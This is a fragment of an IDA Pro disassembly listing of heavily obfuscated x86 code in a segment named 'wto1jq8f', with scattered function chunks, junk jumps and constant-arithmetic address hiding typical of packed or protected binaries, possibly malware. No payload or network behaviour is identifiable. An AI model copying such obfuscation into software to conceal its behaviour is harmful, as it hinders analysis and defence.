; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42E171:				; CODE XREF: sub_42F6A9+1Ej
		mov	eax, [eax]
		mov	ecx, [eax]
		add	eax, 4
		mov	ebx, [eax]
		jmp	loc_42A7FE
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------


loc_42E17F:				; CODE XREF: wto1jq8f:loc_42984Dj
		jl	loc_42967A


loc_42E185:				; CODE XREF: wto1jq8f:0042C574j
		jmp	loc_42F339
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424635


loc_42E18A:				; CODE XREF: sub_424635+Bj
		jmp	nullsub_123
; END OF FUNCTION CHUNK	FOR sub_424635
; ---------------------------------------------------------------------------
		xchg	edi, ebx
		jle	loc_42BA69
		cmp	edi, 0E7079DE8h
		jmp	loc_42966D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266EF


loc_42E1A2:				; CODE XREF: sub_4266EF+12j
		mov	byte ptr [eax],	0C3h
		mov	[ebp-4], eax
		push	1Ch
		lea	eax, [ebp-34h]
		push	eax
		jmp	loc_42C6AC
; END OF FUNCTION CHUNK	FOR sub_4266EF
; ---------------------------------------------------------------------------


loc_42E1B3:				; CODE XREF: wto1jq8f:00428E5Aj
					; wto1jq8f:loc_42CDCFj
		cmp	esi, eax
		jmp	loc_42AB22
; ---------------------------------------------------------------------------


loc_42E1BA:				; DATA XREF: sub_42A3DA:loc_42CD1Eo
		add	edx, ebp
		add	edx, 0AFFC16EEh
		mov	edx, [edx]
		popf
		xchg	eax, [edx]
		jmp	loc_4241A8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42E1CD:				; CODE XREF: sub_4266B1+3549j
		jmp	loc_42AB18
; END OF FUNCTION CHUNK	FOR sub_4266B1

; =============== S U B	R O U T	I N E =======================================



sub_42E1D2	proc near		; DATA XREF: sub_42B520-6C7Do
		jnb	loc_42AC2F
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-14h], 4
		push	offset sub_42C4E2
		jmp	nullsub_127
sub_42E1D2	endp

; ---------------------------------------------------------------------------


loc_42E1E9:				; CODE XREF: wto1jq8f:loc_426442j
		jz	loc_42BBA1


loc_42E1EF:				; CODE XREF: wto1jq8f:loc_4265FAj
		jmp	loc_42F799
; ---------------------------------------------------------------------------
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42E1F6:				; CODE XREF: wto1jq8f:00425DB6j
					; sub_426968+2234j ...
		mov	eax, [ebp-4]
		push	eax
		call	sub_42660F
		jmp	loc_426A4A
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		jmp	loc_424081
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42E20D:				; CODE XREF: sub_426968:loc_4295FEj
		push	offset sub_42E42A
		jmp	loc_424EC9
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------


loc_42E217:				; CODE XREF: wto1jq8f:0042E165j
		jnz	loc_426020
		jmp	loc_42412A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FBC7


loc_42E222:				; CODE XREF: sub_42FBC7-8D9Cj
		cdq
		sub	eax, esi
		jmp	loc_42C142
; END OF FUNCTION CHUNK	FOR sub_42FBC7
; ---------------------------------------------------------------------------


loc_42E22A:				; CODE XREF: wto1jq8f:00427FFAj
		add	eax, 69B99DEBh
		xchg	eax, [esp]
		jmp	loc_42AF69
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42E239:				; CODE XREF: sub_428AC6+6158j
		push	927392C3h
		pop	edx
		sub	edx, 6B3E2A50h
		test	edx, 400h
		jmp	loc_42F5D7
; ---------------------------------------------------------------------------


loc_42E250:				; CODE XREF: sub_428AC6:loc_42BD4Fj
		pop	edx
		xor	edx, 4381041h
		add	edx, ebp
		add	edx, 0AC8F860Fh
		mov	[edx], eax
		pop	edx
		jmp	loc_42DE02
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------
		mov	esi, 0E991E116h
		not	edi
		jmp	sub_42A0E5
; ---------------------------------------------------------------------------


loc_42E273:				; CODE XREF: wto1jq8f:loc_42F08Dj
		jz	loc_42ADBE
		jmp	loc_42C97D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E04D


loc_42E27E:				; CODE XREF: sub_42E04D:loc_42FE07j
		call	sub_428183
		jmp	loc_42C7E3
; END OF FUNCTION CHUNK	FOR sub_42E04D
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-8], 1
		jmp	loc_42A0BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42E294:				; CODE XREF: sub_426C0C:loc_428700j
					; sub_426C0C+1B03j ...
		mov	eax, [ebp-10h]
		jmp	loc_42A95B
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6C3


loc_42E29C:				; CODE XREF: sub_42C6C3:loc_42E82Ej
		push	1BF8DEF2h
		pop	edi
		add	edi, 0E44A03BEh
		xchg	edi, [esp+4+var_4]
		jmp	sub_428C71
; END OF FUNCTION CHUNK	FOR sub_42C6C3
; ---------------------------------------------------------------------------
		add	esp, 10h
		push	offset sub_428C68
		jmp	locret_42DEAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42E2BD:				; CODE XREF: sub_42506F+41A6j
					; sub_42506F:loc_42C906j
		push	0FB1D3CF8h
		pop	eax
		and	eax, 0DB595C8Bh
		xor	eax, 0DB191CEBh
		jmp	loc_429FCB
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F4F


loc_42E2D4:				; CODE XREF: sub_425F4F:loc_42AE4Ej
		shr	eax, 0Fh
		jmp	loc_42EAC0
; END OF FUNCTION CHUNK	FOR sub_425F4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42E2DC:				; CODE XREF: sub_429B76:loc_42A2A0j
					; sub_429B76+731j
		popf
		ror	ebp, 0Eh
		or	edi, 3A8E307h


loc_42E2E6:				; CODE XREF: sub_429B76:loc_42D778j
		call	sub_4269D1
; END OF FUNCTION CHUNK	FOR sub_429B76
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42E2EB:				; CODE XREF: sub_426144+7C93j
		jmp	loc_42F876
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F81B


loc_42E2F0:				; CODE XREF: sub_42F81B-8C5Fj
		jmp	loc_425B7E
; END OF FUNCTION CHUNK	FOR sub_42F81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4276C3


loc_42E2F5:				; CODE XREF: sub_4276C3+11E5j
		call	sub_4240DC


loc_42E2FA:				; CODE XREF: sub_42A909+513Bj
		jmp	nullsub_6
; END OF FUNCTION CHUNK	FOR sub_4276C3
; ---------------------------------------------------------------------------
		call	sub_424585
		push	0B99A0342h
		pop	edx
		add	edx, 38C2B60Dh
		call	sub_429165
		push	ebx
		push	0E1F98A9Bh
		pop	ebx
		jmp	loc_42E3DB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D31


loc_42E322:				; CODE XREF: sub_426D31+13j
		jmp	nullsub_234
; END OF FUNCTION CHUNK	FOR sub_426D31
; ---------------------------------------------------------------------------


loc_42E327:				; CODE XREF: wto1jq8f:0042E701j
		push	0F29E10BFh
		jmp	loc_42E97B
; ---------------------------------------------------------------------------


loc_42E331:				; CODE XREF: wto1jq8f:0042953Aj
		js	loc_425C8A

; =============== S U B	R O U T	I N E =======================================



sub_42E337	proc near		; CODE XREF: sub_42660F-14Dp
					; wto1jq8f:loc_42DB4Bj

; FUNCTION CHUNK AT 0042838A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AE54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BAC0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042F89D SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx


loc_42E33B:				; CODE XREF: sub_42C486:loc_42C2B3j
		call	sub_427A9E
		push	320D68E3h
		jmp	loc_42BAC0
sub_42E337	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	esi, 90453F9Ah

; =============== S U B	R O U T	I N E =======================================



sub_42E350	proc near		; CODE XREF: wto1jq8f:0042F6EAp

; FUNCTION CHUNK AT 0042703C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B3E2 SIZE 0000000A BYTES

		mov	[esp+0], ecx
		pop	ecx
		call	sub_429165
		call	sub_424585
		mov	edx, 6FDE1A91h
		jmp	loc_42703C
sub_42E350	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42E369	proc near		; DATA XREF: wto1jq8f:loc_4283F0o

; FUNCTION CHUNK AT 0042B79A SIZE 00000005 BYTES

		push	3AE8EC6Fh
		pop	eax
		xor	eax, 6E32E234h
		add	eax, ebp
		add	eax, 0AB25F1A1h
		push	offset sub_42D849
		jmp	loc_42B79A
sub_42E369	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D13F


loc_42E388:				; CODE XREF: sub_42D13F+6j
		jmp	nullsub_130
; END OF FUNCTION CHUNK	FOR sub_42D13F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B35E


loc_42E38D:				; CODE XREF: sub_42B35E:loc_42B210j
		push	4DDE21ABh
		pop	edx
		add	edx, 0CBD1F671h
		add	edx, eax
		jmp	loc_425D11
; END OF FUNCTION CHUNK	FOR sub_42B35E
; ---------------------------------------------------------------------------


loc_42E3A0:				; CODE XREF: wto1jq8f:loc_4280ADj
		mov	edx, esi
		sub	ebx, 0E8B2153Ch
		jmp	loc_427ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CD35


loc_42E3AD:				; CODE XREF: sub_42CD35:loc_42995Aj
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_42C868
; END OF FUNCTION CHUNK	FOR sub_42CD35

; =============== S U B	R O U T	I N E =======================================



sub_42E3B6	proc near		; CODE XREF: sub_42CD35+4p
		push	offset sub_42F03D
		jmp	nullsub_131
sub_42E3B6	endp

; ---------------------------------------------------------------------------


loc_42E3C0:				; CODE XREF: wto1jq8f:0042EB79j
		ror	edi, 1Ch

; =============== S U B	R O U T	I N E =======================================



sub_42E3C3	proc near		; CODE XREF: wto1jq8f:0042CDEFp
		xchg	edi, [esp+0]
		pop	edi
		push	eax
		retn
sub_42E3C3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42E3C9:				; CODE XREF: sub_42506F+2A68j
		sub	esi, 0C401DA62h
		add	esi, 0F8F3ED8Ah
		call	sub_427B3D
; END OF FUNCTION CHUNK	FOR sub_42506F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42E3DB:				; CODE XREF: wto1jq8f:0042E31Cj
		jmp	loc_42BE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42414C


loc_42E3E0:				; CODE XREF: sub_42414C+7C33j
		jmp	loc_428E20
; END OF FUNCTION CHUNK	FOR sub_42414C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F563


loc_42E3E5:				; CODE XREF: sub_42F563-767Ej
		jmp	nullsub_205
; END OF FUNCTION CHUNK	FOR sub_42F563
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42E3EA:				; CODE XREF: sub_426968-1991j
		mov	eax, ds:dword_42D5F0
		or	eax, eax
		jnz	loc_42B50C
		jmp	loc_429EE0
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_42E3FD	proc near		; CODE XREF: wto1jq8f:0042BCC5p

; FUNCTION CHUNK AT 0042450F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042476D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042B432 SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		mov	ebx, [esp+0]
		cmp	ebx, 8FC87A1Eh
		or	edx, 0D5E207EAh
		jno	loc_424774
		add	ebx, ecx
		rol	eax, 1Eh
		jmp	loc_42450F
sub_42E3FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FAE4


loc_42E41F:				; CODE XREF: sub_42FAE4-7411j
		ja	loc_42F14C
		jmp	loc_424995
; END OF FUNCTION CHUNK	FOR sub_42FAE4

; =============== S U B	R O U T	I N E =======================================



sub_42E42A	proc near		; DATA XREF: sub_426968:loc_42E20Do
		jnz	loc_42AC2F
		call	sub_42AC24
sub_42E42A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42E435:				; CODE XREF: sub_42C486+234Cj
		jmp	loc_425E55
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E541


loc_42E43A:				; CODE XREF: sub_42E541+Fj
		jmp	loc_42A582
; END OF FUNCTION CHUNK	FOR sub_42E541
; ---------------------------------------------------------------------------


loc_42E43F:				; CODE XREF: wto1jq8f:0042807Cj
		cmp	eax, 0A8FC24B0h
		jmp	loc_427CD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C423


loc_42E44A:				; CODE XREF: sub_42C423:loc_427466j
					; sub_42ACD6+1D4Bj
		call	sub_42760F
; END OF FUNCTION CHUNK	FOR sub_42C423
; START	OF FUNCTION CHUNK FOR sub_42821F


loc_42E44F:				; CODE XREF: sub_42821F+Bj
		jmp	loc_4287B0
; END OF FUNCTION CHUNK	FOR sub_42821F
; ---------------------------------------------------------------------------


loc_42E454:				; CODE XREF: wto1jq8f:0042A1E3j
		sbb	eax, ebx


loc_42E456:				; CODE XREF: wto1jq8f:loc_42B882j
		jmp	loc_42BE9E
; ---------------------------------------------------------------------------
		jmp	loc_42A503

; =============== S U B	R O U T	I N E =======================================



sub_42E460	proc near		; CODE XREF: sub_428295+6j

var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 0042EA7A SIZE 0000000F BYTES

		add	esp, 0FFFFFFF0h
		push	esi
		push	9691E9F1h
		jmp	loc_42EA7A
sub_42E460	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42716A


loc_42E46E:				; CODE XREF: sub_42716A+7j
		push	0FC9A684Eh
		pop	eax
		add	eax, 3A87CDAh
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_426A4A
; END OF FUNCTION CHUNK	FOR sub_42716A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42E483:				; CODE XREF: sub_42AA68+437j
		mov	eax, [eax]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	ebx
		push	0F3CD8082h
		pop	ebx
		add	ebx, 7013F0F4h
		jmp	loc_42A5F6
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2B8


loc_42E49D:				; CODE XREF: sub_42A2B8+9j
		cmp	dword ptr [ebp-8], 0
		jnz	loc_42E4AD
		mov	eax, [ebp-4]
		mov	[ebp-8], eax


loc_42E4AD:				; CODE XREF: wto1jq8f:loc_42BEA3j
					; sub_42C2D2+Dj ...
		call	sub_42D446
		mov	[ebp-0Ah], al
; END OF FUNCTION CHUNK	FOR sub_42A2B8
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42E4B5:				; CODE XREF: sub_42D434:loc_42A94Bj
		jno	loc_42D58D
		jmp	loc_427F29
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------


loc_42E4C0:				; CODE XREF: wto1jq8f:loc_42E776j
		call	sub_42669E
; START	OF FUNCTION CHUNK FOR sub_42A237


loc_42E4C5:				; CODE XREF: sub_42A237+3j
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_42A237
; ---------------------------------------------------------------------------
		jle	loc_42EEA9
		jmp	loc_42DA8D
; ---------------------------------------------------------------------------


loc_42E4D5:				; CODE XREF: wto1jq8f:0042821Aj
		jz	loc_425B9E

; =============== S U B	R O U T	I N E =======================================



sub_42E4DB	proc near		; CODE XREF: sub_42ED01:loc_42A01Dp
		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_42F185
		jmp	loc_42D8D3
sub_42E4DB	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42E4EA	proc near		; CODE XREF: wto1jq8f:00426412j
					; sub_42628C+6CEDp
		mov	[esp+0], edi
		pop	edi
		mov	eax, [ebp-4]
		push	offset sub_429C18
		jmp	loc_42E0DC
sub_42E4EA	endp

; ---------------------------------------------------------------------------
		adc	edx, eax
		jmp	sub_428C0C
; ---------------------------------------------------------------------------
		dw 8B25h
dword_42E504	dd 0		dword_42E508	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5FA


loc_42E50C:				; CODE XREF: sub_42E5FA+12C3j
		jmp	loc_42B388
; END OF FUNCTION CHUNK	FOR sub_42E5FA
; ---------------------------------------------------------------------------
		db 4Eh,	29h, 30h
dword_42E514	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42E518:				; CODE XREF: sub_426535+BE9j
		jmp	loc_42728A
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		db 0A5h, 2Bh, 15h
dword_42E520	dd 0							; sub_42FC50+7w
dword_42E524	dd 0							; sub_42A467r
dword_42E528	dd 0							; sub_424E0E+4w ...
; ---------------------------------------------------------------------------


loc_42E52C:				; CODE XREF: wto1jq8f:0042FDA9j
		jmp	loc_424147
; ---------------------------------------------------------------------------
		db 53h,	0ACh, 82h
dword_42E534	dd 0							; sub_427143:loc_42B964w ...
dword_42E538	dd 0							; sub_426E98:loc_427A0Cw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_42E53C:				; CODE XREF: sub_425944+40DFj
		jmp	loc_42E563
; END OF FUNCTION CHUNK	FOR sub_425944

; =============== S U B	R O U T	I N E =======================================



sub_42E541	proc near		; DATA XREF: sub_42C4E2+8A4o

; FUNCTION CHUNK AT 00428C4F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042A582 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042E0E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E43A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EF19 SIZE 00000015 BYTES

		setz	al
		call	sub_426E98
		pop	ecx
		shl	eax, 3
		mov	edx, [ebp+8]
		jmp	loc_42E43A
sub_42E541	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E555	proc near		; DATA XREF: sub_42F7AD:loc_42DE07o

; FUNCTION CHUNK AT 0042B028 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset loc_42501F
		jmp	loc_42B028
sub_42E555	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_42E563:				; CODE XREF: sub_42D765+Ej
					; sub_425944:loc_42E53Cj
		mov	eax, [ebp-4]
		call	sub_42AA68
		test	al, al
		push	offset sub_42459B
		jmp	nullsub_138
; END OF FUNCTION CHUNK	FOR sub_425944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_42E577:				; CODE XREF: sub_42B8FC:loc_4291B4j
		not	ecx
		pushf
		jmp	loc_42739D
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425B46


loc_42E57F:				; CODE XREF: sub_425B46+Aj
		rol	eax, 15h
		mov	ds:dword_42D5FC, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_425B46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42E589:				; CODE XREF: sub_429BFF+3E29j
		jmp	loc_426C32
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269FD


loc_42E58E:				; CODE XREF: sub_4269FD+6j
		ror	eax, 15h
		pushf
		jmp	loc_42F714
; END OF FUNCTION CHUNK	FOR sub_4269FD

; =============== S U B	R O U T	I N E =======================================



sub_42E597	proc near		; CODE XREF: wto1jq8f:004292D0j
					; sub_42FBB5-5CDAp

; FUNCTION CHUNK AT 0042D658 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	ebx
		and	eax, edx
		adc	eax, edx
		jmp	loc_42D658
sub_42E597	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	al, al
		jz	nullsub_43
		jmp	loc_42A26E

; =============== S U B	R O U T	I N E =======================================



sub_42E5B2	proc near		; CODE XREF: sub_42E5B2:loc_425CFAj
					; sub_428DBE+8p ...

; FUNCTION CHUNK AT 00424BEA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00425CFA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004280DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429237 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042CDDD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EAD7 SIZE 00000005 BYTES

		mov	edx, 1
		lock xchg edx, [eax]
		or	edx, edx
		jz	locret_426EED


loc_42E5C2:				; CODE XREF: sub_42E5B2-99C4j
					; wto1jq8f:0042922Cj
		jo	loc_429237
		jmp	loc_42CDDD
sub_42E5B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F9CA


loc_42E5CD:				; CODE XREF: sub_42F9CA:loc_425A67j
		pop	ebx
		mov	ebp, offset loc_428B27
		xchg	ebp, [esp-10h+arg_C]
		retn
; END OF FUNCTION CHUNK	FOR sub_42F9CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_42E5D7:				; CODE XREF: sub_42BE69+B89j
		jmp	loc_42BA74
; END OF FUNCTION CHUNK	FOR sub_42BE69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42E5DC:				; CODE XREF: sub_426E98+37j
		jmp	loc_4261BC
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
		sbb	esi, 0BC4FEC76h
		jmp	sub_42A35F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42E5EC:				; CODE XREF: sub_4266B1+96C8j
		mov	[edx], eax
		xchg	ebp, [esp+4+var_4]
		mov	edx, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ACD6


loc_42E5F5:				; CODE XREF: sub_42ACD6+1748j
		jmp	loc_42B543
; END OF FUNCTION CHUNK	FOR sub_42ACD6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E5FA	proc near		; CODE XREF: sub_428C71j

; FUNCTION CHUNK AT 0042B388 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042E50C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F8B4 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, esp


loc_42E5FD:				; CODE XREF: wto1jq8f:loc_42C215j
		jmp	loc_42F8B4
sub_42E5FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42E602:				; CODE XREF: sub_42C486:loc_42DB1Aj
		add	edx, 0FC36FFEh
		push	esi
		push	68C71EC9h
		pop	esi
		sub	esi, 954730CDh
		test	esi, 2000000h
		jmp	loc_42C285
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42E620:				; CODE XREF: sub_426C0C+84BEj
		and	esi, ebx
		and	edx, ebp
		jmp	loc_4265DB
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------


loc_42E629:				; CODE XREF: wto1jq8f:loc_42868Dj
		jnz	loc_425E1B
		jmp	loc_426E84
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42E635:				; CODE XREF: sub_429B76+3FD0j
		jmp	loc_42C527
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B855


loc_42E63A:				; CODE XREF: wto1jq8f:loc_4269AAj
					; sub_42B855+6j
		jmp	sub_42992F
; END OF FUNCTION CHUNK	FOR sub_42B855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD2D


loc_42E63F:				; CODE XREF: sub_42DD2D-4334j
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42DD2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D882


loc_42E641:				; CODE XREF: sub_42D882+1Bj
		jmp	loc_425B97
; END OF FUNCTION CHUNK	FOR sub_42D882
; ---------------------------------------------------------------------------


loc_42E646:				; CODE XREF: wto1jq8f:004290F3j
		jmp	locret_42CDC4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E64B	proc near		; CODE XREF: sub_42A202+Bp

; FUNCTION CHUNK AT 0042F143 SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_42F143
sub_42E64B	endp

; ---------------------------------------------------------------------------
		push	0C3F88CD0h
		pop	edx
		add	edx, 5148B75h
		call	sub_429165
		push	eax
		rol	eax, 3
		jmp	loc_42A0A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_42E66D:				; CODE XREF: sub_42AECEj
		push	edi
		mov	[esp-8+arg_4], ebp
		jmp	loc_42A459
; END OF FUNCTION CHUNK	FOR sub_42AECE

; =============== S U B	R O U T	I N E =======================================



sub_42E676	proc near		; CODE XREF: sub_425A9E:loc_425EBDp

; FUNCTION CHUNK AT 00425EC2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428EC2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429FF9 SIZE 0000000E BYTES

		mov	[esp+0], eax


loc_42E679:				; CODE XREF: wto1jq8f:loc_424400j
		push	ecx
		push	0AEB25019h


loc_42E67F:				; CODE XREF: wto1jq8f:loc_429DDEj
		pop	ecx
		and	ecx, 7E22BECFh
		jmp	loc_428EC2
sub_42E676	endp

; ---------------------------------------------------------------------------

locret_42E68B:				; CODE XREF: wto1jq8f:0042C459j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282A6


loc_42E68C:				; CODE XREF: sub_4282A6+7D0Aj
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_4282A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42E691:				; CODE XREF: sub_42F25F-3CFFj
		jmp	loc_42A3B1
; END OF FUNCTION CHUNK	FOR sub_42F25F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42E696:				; CODE XREF: sub_426E98+90j
		jmp	sub_42F304
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E35


loc_42E69B:				; CODE XREF: sub_425E35:loc_42824Fj
		xchg	eax, [esp+4+var_4]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_425E35
; ---------------------------------------------------------------------------
		add	esi, eax
		jmp	loc_424554
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42E6AA:				; CODE XREF: sub_42C486:loc_4245C3j
					; sub_42C486-73DFj
		mov	ecx, [ebp-18h]
		and	ecx, 7
		push	7A0D2D4Ah
		pop	eax
		xor	eax, 0FB4AA55Ch
		rol	eax, 18h
		jmp	loc_42DD90
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


